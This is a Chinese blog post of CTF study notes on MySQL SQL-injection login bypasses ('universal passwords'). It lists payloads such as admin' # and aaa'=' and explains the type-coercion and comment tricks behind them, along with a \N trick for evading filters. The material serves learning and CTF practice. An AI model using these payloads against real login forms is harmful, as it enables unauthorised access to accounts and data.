CTF-sql-mysql万能密码
以下是我在学习sql注入时的一些感想分享,希望能帮助到大家,如有错误,望指出。
万能密码的种类:
①select * from admin where username =“” and password = “”
②admin‘ #
③’+‘ ’+‘
④0
⑤Aaa’ = ‘
在以下的select语句中的username和password可类似看作为字符串变量
select * from user where username = ‘admin’ and password = ‘yi’;
该语句的判断逻辑是什么呢?
就是当username =‘admin’和password=’yi’都为真时执行成功。
那么就是说不管怎么样,只要这两项都为真就行了,这就意味着即使用户名和密码都不正确,只要让这两项都为真就能执行成功,该逻辑就是②③条的注入原理
①select * from user where username = ‘chen’ # ‘ and password = ‘qian’;
②select * from user where username = ‘ ‘+’ ‘ and password = ‘ ‘+’ ‘;(有局限)
select ‘ ‘+’ ‘;
select ‘qian’=0;
select ‘1qian’=0;
仅对于username和password的值为非数字开头的字符串有效。Eg:’q123’
在这里select语句中的username和password可类似看作为字符串变量,那么等于非数字开头字符串的变量在转化为int形式时就为0(这里的=号不是赋值符号,就是数学上=号的作用)
③select * from user where username = 0 and password = 0;
在这里username和password可类似看作为字符串变量,那么非数字开头的字符串在转化为int形式就为0(和③原理一样,就是表现手法不同而已)
④select * from user where username = ‘aaa’=’ ‘ and password = ‘aaa’=’ ‘;
select ‘aaa’=’a’;(执行结果为0)
select ‘aaa’=’a’=’ ‘;
判断逻辑:username=’aaa’为假,假=’ ‘又变为了真,password一样(前提username与password都不为’aaa’)%e6%b5%85%e6%98%93%e6%b7%b1
⑤select \Nfrom user;(执行成功,在N与from之间没空格)
select 1from;(执行失败,因为1与from之间没空格)
select 1,2,\Nfrom user;(执行成功,在2与from之间没空格)
该技巧在from的左端不能输空格的时候,可以考虑能不能使用该方法进行绕过。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?